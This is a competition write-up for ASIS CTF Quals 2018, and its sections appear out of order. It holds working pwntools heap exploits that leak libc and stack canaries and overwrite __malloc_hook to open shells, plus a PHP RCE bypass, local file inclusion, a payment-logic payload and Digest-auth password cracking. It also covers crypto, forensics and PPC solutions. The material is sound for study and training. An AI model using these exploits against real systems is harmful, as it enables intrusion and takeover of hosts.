r.sendlineafter('>', kind) else: r.send(name.ljust(0x16, '\x00')) r.send(kind.ljust(0x16, '\x00')) r.send(str(age).rjust(4, '0')) r.send(modify.ljust(4, '\x00')) def print_one(idx): r.recvrepeat(2) r.send('0003') r.sendlineafter('>', str(idx)) return r.recvuntil('---', drop=True) def delete(idx): r.send('0005') r.send(str(idx).rjust(4, '0')) create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)#create('a'*0x10, 'a'*0x10, 1)create(flat(0, 0x21), flat(0, 0x21), 1)create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)create('a'*0x10, 'a'*0x10, 1)delete(4)delete(5)# set ptredit(0, 'b', 'b', 2, 'n')create('', '', 1)edit(0, 'b', 'b', 2, 'n', sp=1)x = print_one(4)xx = re.findall('kind: (.*)\nold', x)[0]heap = u64(xx.ljust(8, '\x00')) - 0x180print 'heap:', hex(heap)create('a', flat(heap+0x10, heap+0x70), 1)edit(0, 'b', 'b', 2, 'n') create(flat(0x602010), 'a', 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]#libc = u64(xx.ljust(8, '\x00')) - 0x3a6870libc = u64(xx.ljust(8, '\x00')) - 0x3e1870print 'libc:', hex(libc) delete(6)#environ = libc + 0x38bf98environ = libc + 0x3c6f38create(flat(heap+0x10, heap+0x30), flat(environ, heap+0x30), 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]stack = u64(xx.ljust(8, '\x00'))print 'stack', hex(stack) delete(6)canary_addr = stack - 0x100 + 1create(flat(canary_addr, heap+0x30), flat(heap+0x10, heap+0x30), 1)x = print_one(0)xx = re.findall('name: (.*)\nkind', x)[0]canary = u64('\x00'+xx[:7])print 'canary:', hex(canary) # switch orderdelete(6)create(flat(heap+0x10, heap+0x30), flat(heap+0x10, heap+0x30), 1) edit(0, 'b', 'b', 2, 'n')delete(1) fake_pos = stack-0x11fprint 'fake_pos:', hex(fake_pos)create(flat(fake_pos), 'a', 1)# fake chunk on stackcreate(flat(heap+0x1b0, heap+0x210), '\x00'*7+flat(0x2100), 1, stack='1\x21\x00\x00') # puts address on heapdelete(3)create(flat(fake_pos+0x10), flat(fake_pos+0x10), 1) # reset fastbindelete(4)delete(0) create(flat(heap+0x160), 'b', 1,)#raw_input("@")magic = libc + 0xf1147print 'magic:', hex(magic)r.recvrepeat(1)r.sendline('1')r.sendlineafter('>', 'AAAA')r.sendafter('>', flat(canary>>8)[:-1]+flat(0, magic))r.sendlineafter('>', '6')sleep(1)r.sendline('ls /home/pwn; cat /home/pwn/flag') #embed()r.interactive() # ASIS{5aa9607cca34dba443c2b757a053665179f3f85c}``` ### Just_sort (kevin47) * Simple overflow and UAF problem ```python#!/usr/bin/env python2 from pwn import *from IPython import embedfrom ctypes import *import re context.arch = 'amd64' r = remote('159.65.125.233', 6005) def insert(n, s): r.sendlineafter('>', '1') r.sendlineafter('>', str(n)) r.sendafter('>', s) def edit(h, p, s): r.sendlineafter('>', '2') r.sendlineafter('>', str(h)) r.sendlineafter('>', str(p)) r.sendafter('>', s) def printt(): r.sendlineafter('>', '3') return r.recvuntil('---', drop=True) def search(n, s): r.sendlineafter('>', '4') r.sendlineafter('>', str(n)) r.sendafter('>', s) def delete(h, p): r.sendlineafter('>', '5') r.sendlineafter('>', str(h)) r.sendlineafter('>', str(p)) insert(10, 'a')insert(10, 'b')delete(1, 0)search(10, flat( [0]*3, 0x21, [0]*3, 0x21, 0, 0x602018,))x = printt()xx = re.findall('0: "(.*)"', x)[0]libc = u64(xx.ljust(8, '\x00')) - 0x844f0print 'libc:', hex(libc)system = libc+0x45390edit(1, 0, flat(system))insert(40, '/bin/sh\x00')delete(4, 0) r.interactive()# ASIS{67d526ef0e01f2f9bdd7bff3829ba6694767f3d1}``` ### message_me (kevin47) * UAF* hijack __malloc_hook with fastbin dup attack ```python#!/usr/bin/env python2 from pwn import *from IPython import embedfrom ctypes import *import re context.arch = 'amd64' #r = remote('127.0.0.1', 7124)r = remote('159.65.125.233', 6003) def add(sz, content): r.sendlineafter('choice : ', '0') r.sendlineafter('size : ', str(sz)) r.sendlineafter('meesage : ', content) def remove(idx): r.sendlineafter('choice : ', '1') r.sendlineafter('message : ', str(idx)) def show(idx): r.sendlineafter('choice : ', '2') r.sendlineafter('message : ', str(idx)) return r.recvuntil('----', drop=True) def change(idx): r.sendlineafter('choice : ', '3') r.sendlineafter('message : ', str(idx)) add(0x100-0x10, 'a') # 0add(100-0x10, 'a') # 1add(0x100-0x10, 'a') # 2add(100-0x10, 'a') # 3add(0x100-0x10, 'a') # 4add(100-0x10, 'a') # 5remove(0)remove(2)remove(4)x = show(2)xx = re.findall('Message : (.*)\n Message', x, re.DOTALL)[0]heap = u64(xx.ljust(8, '\x00')) - 0x2e0x = show(4)xx = re.findall('Message : (.*)\n Message', x, re.DOTALL)[0]libc = u64(xx.ljust(8, '\x00')) - 0x3c4c68print 'heap:', hex(heap)print 'libc:', hex(libc) # fastbin dupclib = CDLL("libc.so.6")clib.srand(1)__malloc_hook = libc + 0x3c4aed#__malloc_hook = 0x602005magic = libc + 0xf02a4print 'magic:', hex(magic)add(0x70-0x10, flat( # 6 0x71,))add(0x70-0x10, flat(0x71, __malloc_hook)) # 7remove(6)remove(7)remove(6)# 6's fd += 0x10change(6)change(6)change(6)add(0x70-0x10, flat(0xdeadbeef))add(0x70-0x10, flat(0xdeadbeef))add(0x70-0x10, '\x00'*3+flat(0, magic)) # trigger malloc_printerrremove(0)remove(0)#r.sendlineafter('choice : ', '0')#r.sendlineafter('size : ', '100') r.interactive()# ASIS{321ba5b38c9e4db97c5cc995f1451059b4e28f6a}``` ### Tinypwn (kevin47) * Use the syscall execveat ```python2#!/usr/bin/env python2 from pwn import *from IPython import embedfrom ctypes import *import re context.arch = 'amd64' #r = remote('127.0.0.1', 7124)r = remote('159.65.125.233', 6009) r.send('/bin/sh\x00'.ljust(296)+flat(0x4000ed)+'\x00'*18) r.interactive() # ASIS{9cea1dd8873d688649e7cf738dade84a33a508fb}``` ## PPC ### Neighbour (lwc)$O(log N)$```python=#!/usr/bin/env python# -*- coding: utf-8 -*- from sage.all import *from pwn import * def puzzle(s): import string for i in string.printable: for j in string.printable: for k in string.printable: for l in string.printable: if hashlib.sha256(i+j+k+l).hexdigest()[-6:] == s: return i+j+k+l r = remote('37.139.22.174', 11740) r.recvuntil('sha256(X)[-6:] = ')s = r.recv(6)r.sendline(puzzle(s)) stage = 1while True: r.recvuntil('n = ') n = Integer(r.recvline()) print 'stage %d n = ' % stage + str(n) stage += 1 ans = n - max(map(lambda i: power(Integer(floor(n.n(digits=len(str(n))).nth_root(i))), i), range(2, int(ln(n)/ln(2))+1))) print ans r.sendline(str(ans)) r.recvuntil('To win the flag, submit r :)\n') tmp = r.recvline() print tmp if 'Great!' not in tmp: break if 'next' not in tmp: break r.interactive()``` ### The most Boring (how2hack)I used more time to understand the challenge description than solving this challenge ==Basically it wants us to give 3 different string that all consecutive k characters will not repeat. As I am familiar with pwn, I quickly think of pwntools cyclic() function. Pwntools is the best tool! ```python#!/usr/bin/env python import itertools as itimport stringfrom hashlib import sha256import multiprocessing as mp from pwn import * host = '37.139.22.174'port = 56653 def check(p): if sha256(p).hexdigest()[-6:] == target: return p return None def my_remote(ip, port, show=False): global target r = remote(ip, port) menu = r.recvuntil('Submit a printable string X, such that sha256(X)[-6:] = ', drop=True) if show: print(menu) target = r.recvline().strip() possible = string.ascii_letters+string.digits possible = it.imap(''.join, it.product(possible, repeat=4)) pool = mp.Pool(32) log.info('PoW XXXX = %s' % (target)) for c in pool.imap_unordered(check, possible, chunksize=100000): if c: log.info('Solved - %s' % c) r.sendline(c) break pool.close() return r if __name__ == '__main__': import sys r = my_remote(host, port, show=True) while True: r.recvuntil('k = ') k = int(r.recvline().strip()) log.info('k = ' + str(k)) r.recvuntil('send the first sequence: \n') r.sendline(cyclic(alphabet='012', n=k)) r.recvuntil('send the second sequence: \n') r.sendline(cyclic(alphabet='120', n=k)) r.recvuntil('send the third sequence: \n') r.sendline(cyclic(alphabet='201', n=k)) if k == 9: break r.interactive()```Flag: `ASIS{67f99742bdf354228572fca52012287c}` ### Shapiro (shw)Shapiro points are lattice points that the gcd of its coordinates is 1. In this challenge, we have to construct a `k x k` grid such that none of its point is a Shapiro point. Take `k = 3` for example, we have to decide `x, y` such that all of the following points are not Shapiro.```(x+0, y+2), (x+1, y+2), (x+2, y+2)(x+0, y+1), (x+1, y+1), (x+2, y+1)(x+0, y+0), (x+1, y+0), (x+2, y+0)```The basic idea is to assign every point a prime as a common divisor of its coordinates. We let the assigned primes be different for all points, e.g.,```x+0 = y+0 = 0 mod 2x+0 = y+1 = 0 mod 3x+0 = y+2 = 0 mod 5x+1 = y+0 = 0 mod 7... and so on```According to CRT, the congruence equation exists solutions for `x, y mod P`, where `P` is the product of all primes we had used. Note that there would be restrictions such as `the largest y coordinate smaller than k`, or `the smallest x coordinate larger than k`. However, it's lucky for us that the two restrictions `larger` and `smaller` do not occur at the same time. Thus, we can add (or minus) `x, y` with `P` to sufficiently large (or small) to satisfy the condition.Code snippet:```pythonfrom gmpy import * def find(k): p = next_prime(1) mod, rx, ry = [], [], [] for i in range(k): for j in range(k): mod.append(p) rx.append((p-i)%p) ry.append((p-j)%p) p = next_prime(p) return mod, rx, ry while True: r.recvuntil('k = ') k = int(r.recvline()[:-1]) m, rx, ry = find(k) X = chinese_remainder(m, rx) Y = chinese_remainder(m, ry) cond = r.recvline()[:-1] prod = reduce(lambda x, y: x*y, m) if 'larger' in cond: lb = int(cond.split()[-1]) q = lb/prod X += prod*(q+1) Y += prod*(q+1) elif 'smaller' in cond: q = X/prod X -= prod*(q+1) Y -= prod*(q+1) r.sendline(get_format(X, Y, k)) data = r.recvline()[:-1] if 'please pass' not in data: break``` FLAG: `ASIS{9273b8834e4972980677627fe23d96ee}` ## misc ### Plastic (sces60107) There is a png file. Just try `zsteg````$ zsteg plasticmeta XML:com.adobe.xmp.. text: "<x:xmpmeta xmlns:x=\"adobe:ns:meta/\" x:xmptk=\"XMP Core 5.4.0\">\n <rdf:RDF xmlns:rdf=\"http://www.w3.org/1999/02/22-rdf-syntax-ns#\">\n <rdf:Description rdf:about=\"\"\n xmlns:exif=\"http://ns.adobe.com/exif/1.0/\"\n xmlns:tiff=\"http://ns.adobe.com/tiff/1.0/\">\n <exif:UserComment>\n <rdf:Alt>\n <rdf:li xml:lang=\"x-default\">AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc45/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarGU7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlNps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUslk+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnHI/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3CxgtiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZkOFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyObWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2smpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTkKnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mRAGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFNECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HPwVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4PV+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrkRLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA==</rdf:li>\n </rdf:Alt>\n </exif:UserComment>\n <tiff:Orientation>1</tiff:Orientation>\n </rdf:Description>\n </rdf:RDF>\n</x:xmpmeta>\n"``` You can notice that there is a base64-encoded string`AAAFWHjabVRfbBRFGJ/ZOeifa+m2hVJaoNf2iohQtndX9ipS29IeVuwVe/1zbfc45/bm7pbu7V5255DjaDISozExaggxSIxC+2KRqBhjCPFBQwgmPggtSnySFx98IP57ML4590dEw2w2+33fzHzz+37fbyeW0TWbStIdKCDHuvUvngi7jxPL1kwj7DZjx4hK7Vk3ttSUxsOTbmpmGgB85cLHYntFZXtHp7trx2M7H9/1RI+/78DgoWeC4zNhJarGU7pp0ym3kdX1tapqZ02TayYY6l4gOXuOf8t5p92qjm17pXZDnVjf0LhxExMYYg62jq1nFaySVbHqlc3NW1pat27b3sacrIZtYHWsnrWwVraNbWeucAzbRNcMMqWaumlNps04maIa1Uk4YxGcjukkksZJQ0toKqa8pMk4piQq1sWwupC0zKwRP1jYOGebWUslk+QE7QTlsbZ7j7N7rzQVDE0cGlKCoeLCUAarZFzcJXX3+fd5fL19/j6/S+qWJLnHI/XxIXsLrkf2eX0Sj/YCEbLaVY/X1ztXKtbAaRIumcSeKadd2if/Y4aDofEiO6Jj1fnk/qdmOV02tTQjycQjPFH/0xx+MDSWpZhXFyrOLPcPyHxfyVkbch4cHgk88Dn0QcqtWJYSmzWwLawxKq4qcVPNpolBi0jme6QMjeSxRTVVJ4vVStYmvNIFnCTz3CxgtiP5IseLri4eibsSpsVfg7qK0Yd35HHatnPpGF+ZxjRl/3+uEHzU3HyWJvyRvGZkOFJDLR2UyOouarpoLkNccc3ivOg5bmDV0jhWl5rCFlYp12t1QWajh8cuPss2XnyObWLN08FQgAO8c+T5CWdocmqa+yHtJOHEJAI6TtrcD/LCOgd2lhouiqyJbZ4eMw2smpzp2blyhqV5uWzxaOQoJ3RYUwtqwlZuKSLz4As4KjY8xHO8RP1STH5kvHNgqHTkKnEmkoUfg2ocyOCXfrLwp/oT28pTasf4mcNcrUsLctkqKDK9Vwr0uPgDWG2h05mRAGsr9fRAXoklXIOh0dCiku+V0l4l6stkbCWa7R1RomNeGXPx+5RofNyQlehonyFNECVKU96x9nZlkR+ZPR4VGx9I698al7MRuSi6wyRH4oPlq+B27uSkZZqUQVAJ6kEL6AR7gAfIYB5gkAIZkAenwevgDfAWOAPOgrfBOXAevAveAx+AS+Ay+Ah8Aj4Fn4HPwVVwDXwBboBvwC3wPfgR3Ae/Qwesg82wDXZBD4xCDFWYgjY8BV+Gr8I34Tl4Hr4PV+CH8DK8Aq/Dm/AWvAvvwfvwF/gb/EP4WvhWuC2sCd8Jd4UfhHvCz8Kvwl8IoCrkRLWoDjWhVtSButBu1IP60SAKoHl0FNnoFHoJvYbOoLPoHXQBLaNL6Aq6iq6hr9B1dAPddFQ4ahwdjh0Ov2O/Y6DUQQGWr4s8+M9wDP0NfUGwlA==` But you cannot just use base64 decoder. There is something you need to do first. You remove every `` in the string. Then, you can use base64 decode. After base64decoding, you still don't know what it is.Just use `binwalk`, then you can find out that there is a zlib compressed data The final step is decompress the data. The flag is right here```$ strings decompressed_data bplist00wxX$versionX$objectsY$archiverT$top!"#$%&'()*+189=AGHNOWX\_cdhlostU$null WNS.keysZNS.objectsV$class XbaselineUcolorTmodeUtitleXpreamble]magnificationTdate_backgroundColorZsourceText#./0UNSRGB\NSColorSpaceO*0.9862459898 0.007120999973 0.027434000752345Z$classnameX$classesWNSColor67WNSColorXNSObject:;<YNS.string23>?_NSMutableString>@7XNSStringCDEFXNSString\NSAttributes\documentclass[10pt]{article}\usepackage[usenames]{color} %used for font color\usepackage{amssymb} %maths\usepackage{amsmath} %maths\usepackage[utf8]{inputenc} %useful to type directly diacritic charactersVNSFontSTUVVNSSizeXNSfFlagsVNSName#@(VMonaco23YZVNSFont[7VNSFont23]^\NSDictionary23`a_NSAttributedStringNSAttributedString#@BfgWNS.time#A23ijVNSDatek7VNSDatem/0F1 1 1CpEF={\bf ASIS}\{50m3\_4pps\_u5E\_M37adat4\_dOn7\_I9n0Re\_th3M!!\}23uv_NSMutableDictionaryu]7_NSKeyedArchiveryzTroot ``` The flag is `ASIS{50m3_4pps_u5E_M37adat4_dOn7_I9n0Re_th3M!!}` ## forensic ### Trashy Or Classy (sces60107 bookgin) In this forensic challenge you will get a pcap file. In this pcap file you will notice that someone trying to connet to the website which is located at `http://167.99.233.88/` It's a compilicated challenge. I will try to make a long story short. This challenge can be divided into three steps. #### first stepIn the first step, you will find an interest file from pcap which is `flag.caidx` Just google the extension, you will see a github repo [casync](https://github.com/systemd/casync) You also notice the `flag.caidx` is located at `http://167.99.233.88/private/flag.caidx` There is also a suspicious direcory which is `http://167.99.233.88/private/flag.castr` But you need the username and password for the authentication. #### second step The username can be found in the pcap file. It's `admin` But we still need password. Then, you can find out that the authentication is [Digest access authentication](https://en.wikipedia.org/wiki/Digest_access_authentication) You have everything you need to crack the password now. Just download rockyou.txt and launch a dictionary attack. It's won't take too much time to crack the password. Finally, the password is `rainbow` #### third step Now you can login and download the `flag.caidx`. But you still cannot list `flag.castr` You may need to install `casync` Then you can use `test-caindex````trashy/casync/build$ ./test-caindex ../../flag.caidx caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770 (51)b94307380cddabe9831f56f445f26c0d836b011d3cff27b9814b0cb0524718e5 (58)4ace69b7c210ddb7e675a0183a88063a5d35dcf26aa5e0050c25dde35e0c2c07 (50)383bd2a5467300dbcb4ffeaa9503f1b2df0795671995e5ce0a707436c0b47ba0 (50)...```These message will tell you the chunk file's position.For example, `caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk` is located at `flag.castr/caf4/caf4408bde20bf1a2d797286b1ad360019daa59b53e55469935c6a8443c69770.cacnk` You can download all the chunk file in `flag.castr` now. Now you can extract the flag```trashy$ sudo casync extract --store=flag.castr flag.caidx wherever_you_liketrashy$ cd wherever_you_liketrashy/wherever_you_like$ lsflag.png``` The flaf is right here.![](https://i.imgur.com/SSoTmJm.png) The flag is `ASIS{Great!_y0U_CAn_g3T_7h3_casync_To0l,tHe_Content-Addressable_Data_Synchronization_T0Ol!!!}` ### Tokyo (sces60107) Without the hint, this challenge is probably the most guessing challenge in this CTF. We will get a binary, but it can't be recognized by any tools. After some investigation, I got three clues from the binary. First, there is a header at the begining of this binary. And the header begin with `KC\n` Second, we found some interesting blocks at the end of the binary. Each block' size is 24byte. And Each block contains a printable letter. Gather all the printable letter. It seems like you can reconstruct the flag from it in some order. `!_Ab_ni!_as__ial_Cb_a_iSgJg_td_eKeyao_ae_spb}iIyafa{S_r__ora3atnsonnoti_faon_imn_armtdrua` Third, this binary contains lots of null byte. However, beside the begining and the end, we can still find some non-null byte in the binary. Totally, I found 89 blocks in the binary and each blocks is 3 byte long.what a coincidence! The length of flag is also 89. These blocks are big-endian-encoded. Their values go from 787215 to 787479, increasing 3 by 3. That's all the clue. Unfortunately, no one can solve this challenge. So, the host release the hint `Kyoto Cabinet` Now we know this file is [kyoto cabinet](http://fallabs.com/kyotocabinet/) database `KC\n` is the magic signatrure of kyoto cabinet database file. According the header, we can also find out that it is a hashdatabase. After understanding the mechanism of kypto cabinet database, the end of the database is the record section. Those 3-byte-long blocks is buckets. ![](https://i.imgur.com/WcskOZg.png) So, the last question is what the key is. According to record section, we will know the key size which is 3 byte long. After several attempts, I found out the keys of the flag go from "000" to "088" It's time to reconstruct the flag```pythonfrom pwn import *import kyotocabinet def haha(a): k=a.encode("hex") return int(k,16)f=open("tokyo").read()j=f[0x30:] temp=[]flag=Falsekk=""pos=0hh=[]for i in range(len(j)): if j[i]!="\x00": if flag: kk+=j[i] else: kk=j[i] flag=True else: if flag: if kk=="\xcc\x04": pos=i break temp.append(kk) kk="" flag=False hh.append(i-3) t=j[pos:]t2=[]flag=Falsekk=""for i in range(len(t)): if t[i]!="\x00": if flag: kk+=t[i] else: kk=t[i] flag=True else: if flag: if len(kk)<2 or kk[1]!="\xee": kk="" continue t2.append(kk[0]) kk="" flag=Falsei=map(haha,temp) flag = "".join(t2)flag2=""for k in map(haha,temp): v=sorted(i).index(k) flag2+=flag[(v)%89]print flagprint flag2 indd=[]for i in range(89): j=str(i).rjust(3,"0") temp=kyotocabinet.hash_murmur(j) indd.append(temp%0x100007) flag3=""for k in indd: v=sorted(indd).index(k) flag3+=flag2[(v)%89]print flag3``` This code is not a clean code. I'm sorry about that. By the way, the flag is `ASIS{Kyoto_Cabinet___is___a_library_of_routines_for_managing_a_database_mad3_in_Japan!_!}` ## crypto ### the_early_school (shw)```pythonfrom Crypto.Util.number import * def dec(s): if len(s) % 3 == 2: return dec(s[:-2]) + s[-2] r = '' for i in range(0, len(s), 3): r += s[i:i+2] return r with open('FLAG.enc', 'rb') as f: s = f.read()ENC = bin(bytes_to_long(s))[2:] for i in xrange(1 << 30): ENC = dec(ENC) a = long_to_bytes(int(ENC, 2)) if 'ASIS' in a: print a break```FLAG: `ASIS{50_S1mPl3_CryptO__4__warmup____}` ### Iran (shw and sasdf) #### First-halfWe know how the key is generated.```pythonkey_0 = keysaz(gmpy.next_prime(r+s), gmpy.next_prime((r+s)<<2))```Let `p = next_prime(r+s)` and `q = next_prime((r+s)<<2)`, we have that `4p ≈ q` (approximately equal). Thus, `N = pq ≈ q^2/4` and `q ≈ sqrt(4*N)`. We can try to brute force `q` to get the correct `(p, q)` pair.```pythonfrom decimal import *import gmpy getcontext().prec = 1000t = Decimal(4*N).sqrt()t = int(t) for i in range(10000): q = t - i # or try t + i if n % q != 0: continue p = n / q assert(gmpy.is_prime(p) and gmpy.is_prime(q)) print 'p =', p print 'q =', q```After we get `p, q`, we can decrypt `enc_0` to get the first half of flag.```pythondef decrypt(a, b, m): n, e = a*b, 65537 d = gmpy.invert(e, (a-1)*(b-1)) key = RSA.construct((long(n), long(e), long(d))) dec = key.decrypt(m) return dec print decrypt(p, q, c) # ASIS{0240093faf9ce```Also, we can get the range of `u = r+s` by```pythondef prev_prime(p): for i in xrange(1, 1<<20): if gmpy.next_prime(p-i) != p: return p-i+1 u_min = max(prev_prime(p), (prev_prime(q)/4)+1)u_max = min(p-1, q/4)```
# ASIS CTF Quals 2018 **It's recommended to read our responsive [web version](https://balsn.tw/ctf_writeup/20180429-asisctfquals/) of this writeup.** - [ASIS CTF Quals 2018](#asis-ctf-quals-2018) - [Web](#web) - [Nice code (unsolved, written by bookgin)](#nice-code-unsolved-written-by-bookgin) - [Bug Flag (bookgin, sces60107)](#bug-flag-bookgin-sces60107) - [Good WAF (solved by ysc, written by bookgin)](#good-waf-solved-by-ysc-written-by-bookgin) - [Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin)](#personal-website-solved-by-sasdf-bookgin-sces60107-written-by-bookgin) - [Sharp eyes (unsolved, written by bookgin, special thanks to @herrera)](#sharp-eyes-unsolved-written-by-bookgin-special-thanks-to-herrera) - [Gameshop (unsolved)](#gameshop-unsolved) - [rev](#rev) - [Warm up (sces60107)](#warm-up-sces60107) - [baby C (sces60107)](#baby-c-sces60107) - [Echo (sces60107)](#echo-sces60107) - [Left or Right? (sces60107)](#left-or-right-sces60107) - [Density (sces60107)](#density-sces60107) - [pwn](#pwn) - [Cat (kevin47)](#cat-kevin47) - [Just_sort (kevin47)](#just_sort-kevin47) - [message_me (kevin47)](#message_me-kevin47) - [Tinypwn (kevin47)](#tinypwn-kevin47) - [PPC](#ppc) - [Neighbour (lwc)](#neighbour-lwc) - [The most Boring (how2hack)](#the-most-boring-how2hack) - [Shapiro (shw)](#shapiro-shw) - [misc](#misc) - [Plastic (sces60107)](#plastic-sces60107) - [forensic](#forensic) - [Trashy Or Classy (sces60107 bookgin)](#trashy-or-classy-sces60107-bookgin) - [first step](#first-step) - [second step](#second-step) - [third step](#third-step) - [Tokyo (sces60107)](#tokyo-sces60107) - [crypto](#crypto) - [the_early_school (shw)](#the_early_school-shw) - [Iran (shw and sasdf)](#iran-shw-and-sasdf) - [First-half](#first-half) ## Web ### Nice code (unsolved, written by bookgin) The challenge is related to PHP code review. The page will show the error message. All we have to do is bypass the error :) ```# substr($URL, -10) !== '/index.php'http://167.99.36.112:8080/admin/index.php# $URL == '/admin/index.php'http://167.99.36.112:8080/admin/index.php/index.php``` Next, we are redirected to http://167.99.36.112:8080/another/index.php?source . ```php $_v){ if($_k_o == $k_Jk){ $f = 1; } if($f && strlen($__dgi)>17 && $_p == 3){ $k_Jk($_v,$_k_o); //my shell :) } $_p++; }}else{ echo "noob!";} ``` Also note that the server uses PHP/5.5.9-1ubuntu4.14. Then I got stuck here for DAYS. After a few tries, I think it's impossible to bypass `===`. However, that's not the case in PHP 5.5.9 due to [this bug](https://bugs.php.net/bug.php?id=69892). Just send a big index, and it will be casted to int. Overflow! The rest is simple. No need to guess the content in `oshit.php`. Use system to RCE. Postscript: 1. The bug seems to be famous(infamous) in 2015,2016 PHP CTFs. You can Google the link or bug id and you'll find lots of challenges related to this bug.2. Always pay attention to the version server used. The current release is PHP 7.2, but the challenge uses PHP 5.5.9.3. If the condition is impossible to bypass, just dig into the bug databse/source code.4. The challenge is solved by more than 20 teams, so it must be simple to find a solution. I've learned a lot. Thanks to this challenge and PHP! ### Bug Flag (bookgin, sces60107) Get source code by LFI `http://46.101.173.61/image?name=app.py`. It's Python2 + Flask. ```pythonfrom flask import Flask, Response, render_template, session, request, jsonify app = Flask(__name__)app.secret_key = open('private/secret.txt').read() flags = { 'fake1': { 'price': 125, 'coupons': ['fL@__g'], 'data': 'fake1{this_is_a_fake_flag}' }, 'fake2': { 'price': 290, 'coupons': ['fL@__g'], 'data': 'fake2{this_is_a_fake_flag}' }, 'asis': { 'price': 110, 'coupons': [], 'data': open('private/flag.txt').read() }} @app.route('/')def main(): if session.get('credit') == None: session['credit'] = 0 session['coupons'] = [] return render_template('index.html', credit = session['credit']) #return 'Hello World!Your Credit is {}Used Coupons is {}'.format(session.get('credit'), session.get('coupons')) @app.route('/image')def resouce(): image_name = request.args.get('name') if '/' in image_name or '..' in image_name or 'private' in image_name: return 'Access Denied' return Response(open(image_name).read(), mimetype='image/png') @app.route('/pay', methods=['POST'])def pay(): data = request.get_json() card = data['card'] coupon = data['coupon'] if coupon.replace('=','') in session.get('coupons'): return jsonify({'result': 'the coupon is already used'}) for flag in card: if flag['count'] <= 0: return jsonify({'result':'item count must be greater than zero'}) discount = 0 for flag in card: if coupon.decode('base64').strip() in flags[flag['name']]['coupons']: discount += flag['count'] * flags[flag['name']]['price'] credit = session.get('credit') + discount for flag in card: credit -= flag['count'] * flags[flag['name']]['price'] if credit < 0: result = {'result': 'your credit not enough'} else: result = {'result': 'pay success'} result_data = [] for flag in card: result_data.append({'flag': flag['name'], 'data': flags[flag['name']]['data']}) result['data'] = result_data session['credit'] = credit session['coupons'].append(coupon.replace('=','')) return jsonify(result) if __name__ == '__main__': app.run(host='0.0.0.0', port=80)``` The first thought comes to my mind is race condition. We can send 2 requests to manipulate the session variables. However, manipulating credit leads to nothing, because it's not dependent on executing orders. Manipulating coupons is useless, neither. Why bother using a coupon twice? Just create another session. Then I start to dig if there is any logical error. The objective is to make the credit >= 0 when buying the real flag. After some brainstroming, I try to buy 0.01 fake flags, and it works. Let's test Python floating-point precision.```pythonPython 2.7.14 (default, Jan 5 2018, 10:41:29) [GCC 7.2.1 20171224] on linux2Type "help", "copyright", "credits" or "license" for more information.>>> 1.335 * 125 + 0.334 * 290 - 1.335 * 125 - 0.334 * 2901.4210854715202004e-14``` Isn't it cool and surprising? Note that `1.4210854715202004e-14` is a positive number. For the count of real flag, we can buy `0.0000000...1`. Payload:```{"card":[{"name":"fake1","count":1.335},{"name":"fake2","count":0.334},{"name":"asis","count":0.0000000000000000000000000001}],"coupon":"ZkxAX19n"}``` Flag: `ASIS{th1@n_3xpens1ve_Fl@G}` You can abuse Python `NaN` to solve this challenge as well. Refer to [this writeup](https://ctftime.org/writeup/9893). ### Good WAF (solved by ysc, written by bookgin) The challenge requires us to bypass the WAF on SQL injection. **Unintended solution:** When the organizer is fixing the challenge by editing the source code, @ysc's web scanner found `.index.php.swp`, and we got the source code. The flag is there. That's all. Flag: `ASIS{e279aaf1780c798e55477a7afc7b2b18}` Never fix anything on the production server directly :) ### Personal Website (solved by sasdf, bookgin, sces60107, written by bookgin) Firstly dive into `http://206.189.54.119:5000/site.js`. There are 4 interesting pages: - admin_area- get/title/1- get/text/1- get/image/1 The `admin_area` requires an authorization_token 